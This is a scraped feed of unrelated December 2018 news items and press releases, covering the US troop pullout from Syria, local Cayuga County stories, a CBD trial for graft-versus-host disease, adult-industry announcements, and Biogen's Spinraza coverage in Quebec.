"We expect affected migrants will receive humanitarian visas to stay on Mexican soil, the ability to apply for work, and other protections while they await a US legal determination." Central American migrants are seen here crossing the Suchiate River into Mexico in November on their way to the United States The withdrawal of US troops in Syria will have an impact on the battlefield and well beyond, with wide-ranging geopolitical ramifications. Here is a look at some of the likely effects of President Donald Trump's decision to pull out the 2,000 US troops as he declared the defeat of the Islamic State group: - Kurdish fighters and Turkey - Among the most alarmed at a US pullout will be Kurdish fighters who form the backbone of the Syrian Democratic Forces, an opposition force that has seized about a quarter of the country with Washington's backing. Turkish President Recep Tayyip Erdogan vowed this week to "remove" the Kurdish People's Protection Units, which he sees as linked to the Kurdish Workers' Party, or PKK, the force that has waged an insurgency inside Turkey since 1984. Turkey had earlier been forced to tread cautiously in Syria, with any injury to US troops certain to trigger a crisis. Hours after Trump's announcement, the United States said it had approved a $3.5 billion missile package for Turkey, a NATO ally that had earlier angered the United States by signing an arms deal with Russia. - Can ISIS return? - Kurdish fighters who were on the frontlines of fighting the Islamic State movement, often known as ISIS, will certainly shift focus if they come under attack from Turkey. The United States has not announced an end to its air war in Syria, but it would be relying on significantly less intelligence without troops on the ground. Critics of Trump's decision noted that ISIS sprouted in Iraq after former president Barack Obama, also eager to end a foreign intervention started under his predecessor, withdrew. Ilan Goldenberg, a former US diplomat now at the Center for a New American Security, said that a successor to ISIS could similarly re-emerge, prompting a fresh US intervention. "We're about to make the exact same mistake in the Middle East that we've been making again and again for the past 20 years," he wrote on Twitter. - Reinforces Russia and Iran - As the United States withdraws, Assad's allies Russia and Iran have shown no sign of leaving. Russia sees longtime ally Syria as a strategic asset in its quest to restore a global role, while Iran's Shiite clerical state sees a religious imperative in fighting Sunni hardliners and protecting President Bashar al-Assad, a member of the heterodox Alawite sect. Jonas Parello-Plesner, a Danish diplomat at the Washington-based Hudson Institute, said that Trump's move "would make Russia decisively the outside power-broker in Syria." Israeli Prime Minister Benjamin Netanyahu quickly pledged to "defend ourselves" in Syria, an allusion to Israeli strikes on targets of Iran and its Lebanese-based ally Hezbollah. - Risks for Europe - While the Islamic State group has lost virtually all of its territory in Syria, it is believed to have thousands of supporters who may carry out attacks overseas, often blending into local populations in Europe. The US withdrawal leaves France, which still has a small contingent of special operations troops in Syria, and Britain, which according to media reports has quietly deployed a number of soldiers. Former Belgian prime minister Guy Verhofstadt said a US withdrawal would be a victory for Russia, Iran, Turkey, Turkish proxies and the Syrian regime. "Unsurprisingly, it leaves Europeans more vulnerable -- and shows how wrong it is that we do not have a defense force able to help stabilize our immediate neighborhood," he wrote on Twitter, amid French-led calls for a European-wide army separate from NATO. - Effect on US politics - Trump -- much like Obama, despite his distaste for his predecessor -- has called for an end to long-term foreign military interventions, which are costly and have limited support in the general public. Trump's decision nonetheless was condemned both by the rival Democrats, who said he had not thought through his decision, and Republicans, who feared the geopolitical effects. Republican Senator Lindsey Graham, usually a loyal supporter of Trump, charged that ISIS was not defeated and that a withdrawal would embolden Iran and abandon Kurdish allies. US President Donald Trump has ordered a complete withdrawal of US forces from Syria A US military officer (R) speaking with a fighter from the Kurdish People's Protection Units (YPG) at the site of Turkish airstrikes in the northeastern Syria in 2017 Russian and Syrian soldiers stand guard near posters of Syrian President Bashar al-Assad and his Russian counterpart Vladimir Putin at the Abu Duhur crossing on the eastern edge of Idlib province in August 2018 Gov. Andrew Cuomo delivered a speech this week detailing his agenda for the 2019 legislative session. He outlined several proposals, many of which have been discussed before. But with a Democratic state Legislature, there is a higher likelihood that the bills will be adopted. AURORA The village of Aurora is considering banning fireworks as a local farmer believes a fall display is to blame for the death of a handful of rare Icelandic sheep from her herd. On Oct. 20, Wells College put on an "excessive" fireworks show as part of its 150th anniversary celebration weekend, said Trinity Farm owner Margaret Flowers at a village board meeting Wednesday. She believes, and has research supporting her conclusion, that the fireworks are to blame for the death of seven of her Icelandic rams. Flowers read a letter to the village at a previous meeting that explained she breeds Icelandic and Shetland sheep, both rare in the U.S. While Icelandic sheep are rare everywhere besides Iceland, a sub-breed, Leadersheep, is even rare in Iceland and are internationally considered "critically endangered." The morning after the display, two of her Icelandic sheep were found dead. While fireworks seemed to disturb her sheep in the past, Flowers wrote that this fireworks display was different with many neighbors supporting that it was much louder than past displays. Several days after the display, two more of her sheep died. Three more passed away even later on. "Conservation efforts (for Leadersheep) involve the importation of semen from Iceland to use in breeding; I am one of fewer than six Icelandic breeders in the U.S. who are employing artificial insemination in their breeding programs ... I have Leadersheep with the highest genetic purity outside Iceland - ninety-four percent," Flowers said in the letter. At the meeting, she said product lists comparing the October show to a July 2015 Wells College fireworks show, showed there were 666 explosions in this year's display compared to 310 in 2015. Flowers said research confirms that noise stress, and "excessive fireworks displays" can kill sheep. I can't afford to have this happen again. I lost hundreds of thousands of dollars. I lost genetic stock that I cannot get back. I had unique in the US stock and I can't import it from Iceland again because of new USDA regulations, she said at the meeting. Village historian Linda Schwab also presented research to the board that indicated the sound level estimated to be between 100 and 115 decibels were in fact "dangerous sounds." She noted that decibels are not measured on a linear scale and that range is monumental. In response to these adverse affects, the village board expressed a desire to change the fireworks law, but was unsure how. "We have much more discussion to do before we can actually look at a fireworks law," Mayor Bonnie Apgar Bennett said. There is some concern we might face liability now that we know there has been some harm done and we continue the same action. While board members recognized it was "a terrible thing that happened, as Trustee Matthew Bianconi said, they weren't ready to give up fireworks altogether. I have no objection to the colorful display of fireworks, I think they're fun, but it's the noise, Trustee Alan Ominsky commented. So we have to be silent? So we have to be a community that does nothing, that has no celebrations, no nothing? Trustee Kit Van Orman said. The board said that it was going to do more research and reach out to experts cited by Schwab and Flowers to find out if other options such as limiting the duration of the displays, or the decibel levels may be options before moving forward with rewriting the law. Staff writer Megan Ehrhart can be reached at (315) 282-2244 or megan.ehrhart@lee.net. Follow her on Twitter @MeganEhrhart. Love 3 Funny 9 Wow 3 Sad 4 Angry 5 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Residents are set to vote on the Southern Cayuga Central School District's proposed capital project for a solar panel array. A public hearing and vote are scheduled for January on a proposal for a $1.5 million project to create an approximately 750 kilowatt solar panel system on the district's campus, according to a news release. The district would partner with Renovus Solar in Ithaca to make the 3-acre system, which the district said is estimated to meet 45 percent of the district's annual electrical needs and save more than $30,000 annually, the press release said. District Superintendent Patrick Jensen said the project is in line with the district's other recent efforts, such as a past capital project in which the majority of the district's indoor lights were replaced with more efficient LED lights and a 12 kilowatt solar array was installed on the roof. "I think it's a part of our long-term plan to become more efficient," Jensen said. The initiative as proposed qualifies for the highest grant available from the New York State Energy Research & Development Authority, at 45 cents per watt for solar projects 750 kilowatts or below, the press release said. Over 80 percent of the project's cost would be covered by $877,083 in state building aid and $337,669 from the development authority. The remaining amount would be paid by credits from New York State Electric & Gas for energy produced on campus, so the project is not expected to raise local taxes. Jensen said the array is estimated to produce $55,000 in credits. Of that amount, $26,000 would be spent on the project's local share, with a remaining $32,000 in savings. If the project is approved, the district hopes to secure state approval by March or April 2019, with construction starting July 1 and the project ending in October. Staff writer Kelly Rocheleau can be reached at (315) 282-2243 or kelly.rocheleau@lee.net. Follow him on Twitter @KellyRocheleau. Love 3 Funny 1 Wow 0 Sad 0 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. MORAVIA The town of Moravia will resume its summer recreation program amid community criticism from ending the program last month. The town board unanimously approved a motion to continue the program for summer 2019 at a Moravia Town Hall meeting Wednesday night. Town supervisor Terry Baxter told the group of over 20 people packed into the hall that every municipality wishing to be included in the program should send a letter of intent to the Moravia town clerk, "with the understanding that they will be required to fund all children from their municipality that attend." The town decided to end the program at its November meeting. Baxter asked the Moravia Central School District to take over the program in October, saying the town had about $17,000 in losses through the last three years. The six-week summer program had recreational activities at Fillmore Glen State Park in Moravia, with a little over 200 children from kindergarten to sixth grade this year. Students from the the village of Moravia and the towns of Moravia, Locke and Niles have participated over the past 10 years. The town of Locke recently withdrew from the program. Baxter had previously said municipalities had to pay for children in their area to participate, with the town of Moravia running the program but costs weren't being covered by the funds that were coming in. After a pause that followed the motion being passed, Baxter told the crowd, "If you still want to chew us out, go for it," which garnered a laugh from the audience. Chris Bonnet, whose child was in the summer program and who is one of the co-organizers of a Facebook group dedicated to making sure the program continues, immediately thanked Baxter. Bonnet had said he hoped the board would reverse their decision and run the program for another year to buy time for himself and other residents to start a nonprofit to operate it. Baxter said the board's responsibilities are ultimately to the people in the town of Moravia and not with those in other municipalities. "We feel this is the right move to make at this time," Baxter said. Baxter said he had spoken to Fred Bonn, Finger Lakes regional director for the New York State Office of Parks, Recreation & Historic Preservation earlier, saying Bonn, "believes he can help us with some funding, possibly some transportation." Baxter said committee meetings on the program will begin as soon as the town clerk and deputy clerk are ready. He asked that the program advocacy group nominate some people to attend the town's initial committee meeting. As the meeting continued and some people said, "Good night" as they left, Baxter said, "You're welcome." Bonnet said he was pleased by the outcome but asked that people don't get complacent in efforts to keep the program going. Bonnet said his group is planning a community meeting to discuss the next steps Jan. 7, but was unsure of a location. "This is not something that's just going to happen," he said. Staff writer Kelly Rocheleau can be reached at (315) 282-2243 or kelly.rocheleau@lee.net. Follow him on Twitter @KellyRocheleau. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SAN FRANCISCO and TEL AVIV, Israel, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Kalytera Therapeutics, Inc. (TSX VENTURE: KALY and OTCQB: KALTF) (the "Company" or "Kalytera") today announced positive interim data from its ongoing Phase 2 clinical study evaluating cannabidiol (CBD) for the prevention of acute graft versus host disease (GVHD) following bone marrow transplant. GVHD is a life-threatening complication commonly occurring after bone marrow transplant procedures. GVHD occurs when the transplanted donor cells attack the patients organs, including the skin, GI tract, liver, lungs, and eyes. GVHD is associated with acute and chronic illness, infections, disability, reduced quality of life, and death. There are currently no FDA approved therapies for either the prevention or treatment of acute GVHD. It is estimated that up to 50% of patients who undergo a bone marrow transplant from a sibling donor, and up to 70% of patients who undergo a bone marrow transplant from an unrelated donor, will develop some level of GVHD. Key Findings to Date: Interim data from the initial 12-patient cohort support the following key findings to date: No patients receiving oral CBD at the lowest study dose of 75 mg twice daily ( BID ) have developed grades 3 or 4 acute GVHD, the most serious forms of the disease. ) have developed grades 3 or 4 acute GVHD, the most serious forms of the disease. One patient developed grade 2 acute GVHD, the least serious form of the disease. CBD has demonstrated a good safety and tolerability profile, with no significant adverse events relating to its use. Kalyteras ongoing Phase 2 clinical study is an open label, multicenter study to evaluate multiple doses of CBD for the prevention of acute GVHD following allogeneic hematopoietic cell transplantation, commonly referred to as bone marrow transplantation. The study will evaluate the PK profile, safety, and efficacy of CBD at doses of 75, 150, and 300 mg BID. All patients in the study receive CBD treatment for 7-days prior to their bone marrow transplant procedure, and for 98-days following the procedure. The study will enroll a total of 36 patients in three 12-patient cohorts. The first cohort is the low dose cohort, with patients in this cohort receiving the 75 mg BID dose. Enrollment of the first cohort is complete, although all 12 patients in this cohort have not yet completed the entire 105-day course of treatment with CBD. It is anticipated that all of the patients in the first cohort will have completed the entire 105-day course of treatment with CBD by February 28, 2019. To date, two patients in the first cohort have died. Significantly, however, these patients died from causes unrelated to GVHD, and neither of these patients developed GVHD while in the study. One of the patients in the first cohort did develop stage 2 acute GVHD, which is the least serious form of the disease, after 91 days on study. CBD is a non-psychotropic ingredient of cannabis that does not cause euphoria or cognitive effects. The formulation of CBD that Kalytera is evaluating for the prevention of acute GVHD is a proprietary formulation that is designed to improve product stability and absorption after oral dosing. We are very pleased with these interim results to date, which show compelling safety, tolerability and PK data, as well as evidence of potential efficacy. The fact that these positive results were seen in patients in the lowest dose cohort is particularly encouraging," said Robert Farrell, President and CEO of Kalytera. These clinical data confirm our expectation that CBD has potential to become the first pharmaceutical approved for prevention of acute GVHD following bone marrow transplantation. Mr. Farrell further stated that, With no FDA approved therapy for the prevention of acute GVHD, there exists an important unmet medical need that we believe we can address. We are optimistic that our CBD product will address this unmet need, and will be demonstrated to be a safe and effective means to prevent the onset of acute GVHD. The complete Phase 2 data set should provide strong support for our planned Phase 3 study, which we expect to initiate in 2019. The Potential Commercial Opportunity is Large The commercial opportunity for Kalyteras CBD product for prevention of acute GVHD is large. Because acute GVHD is a serious and life threatening orphan disease, Kalytera believes that it will be able to obtain premium pricing for a course of treatment. The incidence of acute GVHD following bone marrow transplantation in the six major markets of the U.S., Germany, the U.K., France, Spain and Japan is above 20,000 patients per year. Given this addressable market, and the expected premium pricing that Kalytera believes it will obtain, the commercial opportunity for the Companys CBD product in prevention of acute GVHD is potentially more than USD $1 billion annually. Generic Competition The Company believes that it will be able to successfully overcome the threat of competition from non-prescription generic CBD for the following reasons: Kalyteras CBD product is covered by two issued U.S. patents, which provide market exclusivity through approximately 2034. Kalytera has also applied for patents in the EU and other jurisdictions. Kalytera has been granted orphan drug designation (ODD Designation) for its CBD product for the prevention of acute GVHD in both the U.S. and the EU. These ODD Designations will provide another form of market exclusivity: 7-years in the U.S. and 10-years in the EU. Most importantly, patients who have undergone a bone marrow transplantation procedure are at high risk of developing acute GVHD, which is a serious and life threatening disorder. These patients are often in isolation in the intensive care unit, and it is highly unlikely that a treating physician would prescribe any form of CBD other than an approved formulation. Of secondary importance is the fact that in all jurisdictions where the Company intends to market its CBD product, neither private insurance nor government provided healthcare reimbursement would be available for non-prescription generic CBD. New Results Consistent with Previously Announced Positive Data from Earlier Studies in Prevention of Acute GVHD Prior to the ongoing Phase 2 clinical study in prevention of acute GVHD, two Phase 2a clinical studies were completed evaluating CBD in the prevention of GVHD. Kalytera has previously announced the results from these two studies. Data from both of these clinical studies were positive and highly encouraging. Dr. Moshe Yeshurun, Kalyteras Chief Medical Officer, was the Principal Investigator for both of these studies, which were conducted at the Institute of Hematology, Davidoff Center, Rabin Medical Center, Petah Tikva, Israel. These studies were carried out by Dr. Yeshurun prior to the date he joined the Company, and the Company subsequently acquired the relevant technology through its acquisition of Talent Biotechs Ltd. in February 2017. I am very enthusiastic about the results to date from our ongoing Phase 2 study, commented Dr. Moshe Yeshurun. These data are consistent with our two previous Phase 2a clinical studies evaluating CBD in the prevention of acute GVHD. Data from both of those clinical studies were positive and highly encouraging. The results from the first of these previous clinical studies were published in May 2015 in Biology of Blood and Marrow Transplantation (Cannabidiol for the Prevention of Graft-versus-Host-Disease after Allogeneic Hematopoietic Cell Transplantation: Results of a Phase II Study, M. Yeshurun et al. / Biology Blood Marrow Transplant 21 (2015) 1770 - 1775). As previously announced, the data from this study, in which 48 patients received daily doses of 150 mg of CBD administered twice daily for 7 days prior to the bone marrow transplant procedure and for 30 days after, demonstrated the following results: No patients developed acute GVHD while being treated with CBD; The rates of grades 2-4 acute GVHD by day 100 were 12.1%, compared with 46% in a group of all 101 hematopoietic stem cell transplant recipients who received standard GVHD prophylaxis at the same institution in Israel (the Institute of Hematology, Davidoff Center, Rabin Medical Center at Beilinson Hospital) directly prior to the onset of this study; and CBD was found to be safe and well tolerated Kalytera also previously announced the results from the second of the two previous clinical studies, in which 12 patients were administered CBD at a dose of 150 mg administered twice daily from 7 days prior to the bone marrow transplant procedure until up to 100-days post transplantation. In that study, no safety issues were observed, and only 15% of patients in the CBD treatment group developed grades 2-4 acute GVHD, compared to a 46% incidence at the same institution in the historical group of 101 patients described above. Kalytera is the exclusive licensee of two issued U.S. patents covering the use of CBD in the prevention and treatment of GVHD, and is also the exclusive licensee of pending patent applications in other jurisdictions for the use of CBD in the prevention and treatment of GVHD. The U.S. FDA has recommended that Kalytera apply for both Breakthrough Therapy and Fast Track Designations for its CBD products for prevention and treatment of acute GVHD, each of which could accelerate the approval process for these products. About Kalytera Therapeutics Kalytera Therapeutics, Inc. is pioneering the development of CBD therapeutics. Through its proven leadership, drug development expertise, and intellectual property portfolio, Kalytera seeks to establish a leading position in the development of CBD medicines for a range of important unmet medical needs, with an initial focus on GVHD and treatment of acute and chronic pain. Cautionary Statements Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This press release may contain certain forward-looking information and statements ("forward-looking information") within the meaning of applicable Canadian securities legislation, that are not based on historical fact, including without limitation in respect of its product candidate pipeline, planned clinical trials, regulatory approval prospects, intellectual property objectives and other statements containing the words "believes", "anticipates", "plans", "intends", "will", "should", "expects", "continue", "estimate", "forecasts" and other similar expressions. Readers are cautioned to not place undue reliance on forward-looking information. Actual results and developments may differ materially from those contemplated by these statements depending on, among other things, the risk that future clinical studies may not proceed as expected or may produce unfavourable results. Kalytera undertakes no obligation to comment on analyses, expectations or statements made by third parties, its securities, or financial or operating results (as applicable). Although Kalytera believes that the expectations reflected in forward-looking information in this press release are reasonable, such forward-looking information has been based on expectations, factors and assumptions concerning future events which may prove to be inaccurate and are subject to numerous risks and uncertainties, certain of which are beyond Kalytera's control. The forward-looking information contained in this press release is expressly qualified by this cautionary statement and is made as of the date hereof. Kalytera disclaims any intention and has no obligation or responsibility, except as required by law, to update or revise any forward-looking information, whether as a result of new information, future events or otherwise. Contact Information AUBURN A Sempronius woman was sentenced in Cayuga County Criminal Court Thursday morning for possessing large amounts of marijuana and committing identity theft while on probation. Theresa Estebanez, 36, who was previously convicted for involvement with a meth lab, was on probation at the time of her new drug and theft charges. She was remanded to Cayuga County Jail on Oct. 18 when Probation Officer Nick Flanigan said that her home, listed as 6470 Frazier Road, was filled with dried marijuana and marijuana plants. It "literally looked like Christmas decorations with drugs hanging," Cayuga County District Attorney Jon Budelman said Thursday. "To call it irresponsible would be an understatement," he added, noting she has eight children in her home. On Dec. 6 Estebanez pleaded guilty to violating her parole, first-degree criminal possession of marijuana, a class C felony, and first-degree identity theft, a class D felony. That same date, Leone said, it was found out that Estebanez also used an individual's Social Security number to obtain services from New York State Gas and Electric that exceeded $2,000, totaling around $3,800. Estebanez's defense attorney, Charles Thomas, said Thursday Estebanez is already making payments to repay NYSEG. For violating her probation that stemmed from charges of third-degree manufacturing of methamphetamine, a class D felony, Estebanez was sentenced to two years in prison and one year post-release supervision; and for second-degree criminal possession of manufactured meth, a class A misdemeanor, she was sentenced to one year conditional discharge. For her new charges, Estebanez received 2.5 years in prison with 1.5 years post-release supervision for the possession of marijuana and two to four years in prison for identity theft. As she is already making payments, it was ordered that she continue so that NYSEG be made whole. All of her charges will run concurrently with a shock camp order. "I'm sorry for everything I've done, my children have suffered through this," Estebanez said, adding she hopes her time in prison will help change her. "I have strong hopes for you," Judge Thomas Leone said. Also in court: An Auburn man pleaded guilty to stealing about $1,280 of merchandise from Dick's Sporting Goods in Aurelius. Supreme Hines, 25, of 13 Lawton Ave., pleaded guilty to both third-degree burglary, a class D felony, and fourth-degree grand larceny, a class E felony, in court Thursday. Although his attorney, Christopher Lucchesi, indicated that Hines was "having second thoughts" upon arrival at court, Leone said he was willing to agree to a one to three year prison sentence with shock probation if he pleads to the entire indictment. "That's the best I'm going to do ... and it's not up for negotiations," Leone said. "If you want to roll the dice and go to trial, that's up to you." As Hines has a criminal history, Budelmann said his "best shot" is likely to have some prison time and treatment for substance abuse issues. Hines' admitted to entering the store, knowing he wasn't allowed to enter in the first place, with the intent to commit larceny and stealing more than $1,000. Leone agreed to sentence Hines to one to three years in prison with a shock camp order. If Ontario County sentences him first for a felony charge he has there Leone said he'll allow his sentence to run concurrent. Hines is due back for sentencing Feb. 21. Leone issued an arrest warrant for an Auburn sex offender who failed to appear in court Thursday. Allan Laury, 25, was scheduled to plea by waiver in court to his charge of failing to report a change of address as a sex offender, a class D felony, but never showed up. Laury, who's address is on file with the court as 62 Washington St., Auburn, was convicted Aug. 31, 2017, of a third-degree criminal sexual act and third-degree rape, both class E felonies, for an incident with a victim under the age of 17, according to the state's Division of Criminal Justice Services. Tuturo, Laury's defense attorney, said he was in Auburn City Court Tuesday for a petit larceny charge, but as of Tuesday it appeared Laury didn't have a working phone number. Staff writer Megan Ehrhart can be reached at (315) 282-2244 or megan.ehrhart@lee.net. Follow her on Twitter @MeganEhrhart. Love 0 Funny 1 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Former National Security Adviser Michael Flynn, a highly decorated ex-military leader, was appearing in a Washington federal court Tuesday to be sentenced in a case related to the special counsel investigation into Russian meddling in the 2016 presidential campaign. And in a surprise to everyone in that courtroom, the judge presiding over the case told the defendant he was inclined to give Flynn jail time despite a recommendation to the contrary from the prosecutors. "I can't make any guarantees, but I'm not hiding my disgust, my disdain for this criminal offense," U.S. District Judge Emmet Sullivan said, not long after President Donald Trump had tweeted "good luck" to the admitted criminal. It was one of the most dramatic and potentially consequential courtroom scenes in recent memory in the United States. But the extent of the audio-visual documentation of that moment came from the hand of sketch artist Dana Verkouteren. You can check out her work with today's column, and it's certainly impressive. However, it captures a tiny fraction of what happened that day. In the thousands of words of written coverage and hours of broadcast coverage of Tuesday's remarkable courtroom developments, there was plenty of description of what happened. An Associated Press story, for example, described Flynn as "visibly shaken" by the judge's comments. It also said "the hearing that began with the defendant upbeat and smiling." It's material that begs for photojournalism. But in a country that prides itself on the First Amendment and government transparency, cameras are largely banned from use in covering proceedings in federal courts. To me, that's asinine. And this case is a perfect example of why. Courtrooms are public places, and the proceedings that take place within them are public events. You and I have every right to attend them, just as we can go to a congressional hearing or sit in the galleries of the House of Representatives and Senate in the U.S. Capitol to watch sessions. Those rights, of course, extend down to state and municipal level government proceedings, as well. We all have those rights to attend, but it's obviously not physically possible for us to be at many of them. And that's where the news media come into play. One of the most important roles the press plays is to be at important government meetings, hearings, courtroom proceedings and more and relay information about what happened to the public. Video and still cameras are vital tools for doing that, but for antiquated reasons, many courtrooms, including those in almost every federal court, prohibit their use in informing the public. As these special counsel legal proceedings play out, the news media will be there to tell people about what his happening. But for the sake of being able to do that job more effectively in the future, I hope these cases can lead to some reforms in the audio-visual policies now on the books. Executive editor Jeremy Boyers column appears Thursdays in The Citizen and he can be reached at (315) 282-2231 or jeremy.boyer@lee.net. Follow him on Twitter @CitizenBoyer Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Catch the latest in Opinion Get opinion pieces, letters and editorials sent directly to your inbox weekly! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. MONTREAL, QCAs 2018 draws to a close, Mile High Medias newly minted interracial gay studio Noir Male has much to celebrate, as porn newcomers Dillon Diaz and Jay Edge make their debut with the imprint. Also making their Noir Male debut are gay porn stars Trelino, Jaxx Maxim, Deep Dicc, Manuel Skye and Nico Santino. Those mens debut scenes are all available at NoirMale.com now. Rounding out the month of debuts is the release of the first volume of Noir Males new taboo series Family Affairs. Jacen Zhu and Roman Todd lead an all-star cast in Chi Chi LaRues opening chapter, where hard-bodied men keep it in the family. The taboo series is now available on DVD. The movie is distributed through parent company Mile High Media. LaRue's Family Affairs features four tales of forbidden lust, and begins with an opening scene titled Meet the Parents, featuring Jacen Zhu and Roman Todd, followed by Big Black Daddy with Max Konnar and Armond Rizzo, then the highly-charged My Sisters Fiance with Liam Cyber and Timarrie Baker. Rounding out the debut release is Stepbrother Threeway, with Jacen Zhu, Max Adonis and Noah Donovan. Its just getting more and more exciting over at Noir Male, said LaRue. Im so proud to introduce two newcomers that make quite a splash: Eighteen-year-old super-hung, super-cute Jay Edge and the manly, muscular Dillon Diaz. The three-way with Dillon, Devin Franco and Jaxx Maxim will blow your socks off with an exciting intense double penetration. These plumbers certainly know how to fix your pipes. Jay Edge is paired with fan-favorite Colby Tucker in a steamy, taboo stepbrother romp. LaRue continued, Working with people that have been on my bucket list for a while is really exciting. Ive wanted to work with people like Deep Dicc and Manuel Skye forever, and bringing back to the blue screen the big and sexy Nico Santino was also a highlight. To view box art and product information, click here. Noir Male launched its member site in mid-August with unprecedented success, featuring exclusive all-new content with the latest scenes which can be enjoyed now at NoirMale.com. For the latest news, release info and BTS previews follow Noir Male on Twitter or Instagram @OfficialNoirMale . WASSERBILLIG, LuxembourgAs it does every year, the pjur Group has donated to a humanitarian project in Laos. Maternal and infant mortality rates are high in Laos, and the aid organization CARE is committed to improving the situation there. In 2017, the funds we received from pjur helped us reach more than 34,500 people in these impoverished regions, Frederic Haupert, director of CARE in Luxembourg, said. The Ministry of Foreign and European Affairs in Luxembourg increases every donation fivefold and so every single euro of this donation makes a huge difference! The Maternal Health project aims to improve medical care and promote the training of midwives. It also helps mothers take control of their own health, the health of their children and access to birth control. In the south of the country, the project is rapidly reducing malnutrition amongst children, supporting mothers and girls, reducing their workloads and enabling them to earn their own income. We're thrilled that the money donated to CARE goes to those who need it most, the individuals suffering the greatest poverty in the world. The rights of young women and mothers in particular have to be championed the world over and we are happy to do our bit here. With this in mind, we would like to wish all of our partners and customers happy holidays and a great start to the new year, said Elisabeth Dahmen, global PR and communications manager at pjur. Those interested in supporting CARE can make a donation to the following account: Name: Care in Luxembourg asbl Payment reference: Maternal Health Laos BIC: BGLLLULL IBAN: LU26 0030 4764 7242 0000 Find out more about pjur at pjurLove.com. With the release of The Grinch movie in early November, just in time for the beginning of the Christmas season, it seems "The Grinch" himself has been trending on the Internet in a more intimate wayon xHamster. According to the company, users for some reason seem to be fantasizing about "The Grinch," which is apparently contributing to their kinky dreams and porn search keystrokes, with searches for the green goblin-like character up over 10,000% over the past few weeks. "'The Grinch' has always popular holiday fare for families," said Alex Hawkins, Vice President of xHamster. "However, it seems users are looking for a more intimate character this year. We hardly expected 'The Grinch' to be such a sexual fantasy of our users, but it is. The searches have been climbing since mid-October and haven't stopped." For Grinch-fetish users' fantasies, the mean one's heart isn't the only thing that grows three sizes. Perhaps not surprisingly, searches for Benedict Cumberbatch, the well-known British actor who voiced "The Grinch," have increased by nearly 1000%. English French The decision follows positive recommendation from the Institut national d'excellence en sante et services sociaux (INESSS) recognising the urgency and need for a treatment for patients with SMA and the robust clinical data of nusinersen SPINRAZA will be listed on the hospital formulary for a broad population of SMA patients irrespective of age MISSISSAUGA, Ontario, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Biogen Canada applauds the Government of Quebecs decision to cover SPINRAZA for a broad population of patients with Spinal Muscular Atrophy (SMA) in the province. The announcement was made by the Minister of Health, Madame Danielle McCann on December 18, 2018, following a positive recommendation from the Institut national d'excellence en sante et services sociaux (INESSS) to expand coverage to include pre-symptomatic and symptomatic patients with 5q SMA Type 1, 2 and 3 of all ages. SMA is a genetic disease characterized by the loss of motor neurons which causes progressive muscle weakness and wasting, leading to severe handicap and death in some severely affected patients. While SMA is a rare disease and affects roughly only one in ten thousand people, its symptoms can be devastating, with some patients not living past their second birthday, and others dependent on respiratory and feeding equipment and confined to a wheelchair for life. Nusinersen is the first and only approved treatment for SMA. Through an extensive clinical development program, nusinersen has shown significant improvements in survival rates and motor function across a broad range of types and ages of SMA patients. Previous recommendations from the Health Technology Assessment (HTA) bodies, Canadian Association of Drugs and Technologies in Health (CADTH) and INESSS, had been limited to Type 1 SMA patients. In July 2018, Biogen resubmitted updated clinical trial data to both CADTH and INESSS, requesting reconsideration for broader coverage of SPINRAZA to treat patients with other SMA types. The updated recommendation from INESSS is a result of that resubmission. The result of the review by CADTH is expected in January 2019. Biogen remains hopeful that other provinces will soon join Quebec in providing access to SPINRAZA for a broad population of SMA patients of all types and all ages, positioning Canada to join over 43 other countries where SPINRAZA is available for a broad population of SMA patients. "Today is a day of celebration for patients with SMA in Quebec, the first province in Canada to announce broad access to the life-changing treatment of SPINRAZA. We now look to the rest of Canada to follow suit and ensure that all Canadians living with this rare, debilitating disease are granted the same access to treatment," said Marina Vasiliou, Vice President and General Manager of Biogen Canada. Statement from Cure SMA Canada: We at Cure SMA Canada are incredibly happy to hear that our Quebec patients are now finally able to access treatment. We are quite sure the rest of Canada will follow suit and wait with baited breath to hear CADTHs recommendation. - Susi Vander Wyk, Executive Director, Cure SMA Canada Statement from Cure SMA Quebec: Nous sommes ravis que la valeur therapeutique du Spinraza soit enfin reconnue et que la Ministre de la sante ait decide de donner lacces a tous ceux atteints damyotrophie spinale. Amy Loignon et Isabelle Boudreault. Co-presidentes de Cure SMA Quebec Statement from the Muscular Dystrophy Canada (MDC): Muscular Dystrophy Canada (MDC) was pleased to support both the initial and subsequent reviews by providing a comprehensive patient submission. Ensuring our community has a strong and credible voice in all matters related to trials and treatments is at the forefront of our work in Canada, commented, Muscular Dystrophy Canada CEO, Barbara Stead-Coyle. This is a life changing treatment for our SMA community. We applaud the Minister of Health and Social Services Danielle McCann, and the Quebec government for reconsidering their initial decision and expanding access for more patients. About Biogen At Biogen, our mission is clear: we are pioneers in neuroscience. Biogen discovers, develops, and delivers worldwide innovative therapies for people living with serious neurological and neurodegenerative diseases. One of the world's first global biotechnology companies, Biogen was founded in 1978 by Charles Weissmann, Heinz Schaller, Kenneth Murray and Nobel Prize winners Walter Gilbert and Phillip Sharp, and today has the leading portfolio of medicines to treat multiple sclerosis; has introduced the first and only approved treatment for spinal muscular atrophy; and is focused on advancing neuroscience research programs in Alzheimer's disease and dementia, multiple sclerosis and neuroimmunology, movement disorders, neuromuscular disorders, pain, ophthalmology, neuropsychiatry, and acute neurology. Biogen also manufactures and commercializes biosimilars of advanced biologics. We routinely post information that may be important to investors on our website at www.biogen.com To learn more, please visit www.biogen.com and follow us on social media Twitter, LinkedIn, Facebook, YouTube. For further information, please contact: Therese Gagnon-Kugler, corporate relations, therese.gagnonkugler@biogen.com Pidy has named student Chloe Hammond from Milton Keynes College as the overall winner of its Revamp the Vol-au-vent competition. Hammond created a strawberry & raspberry ripple 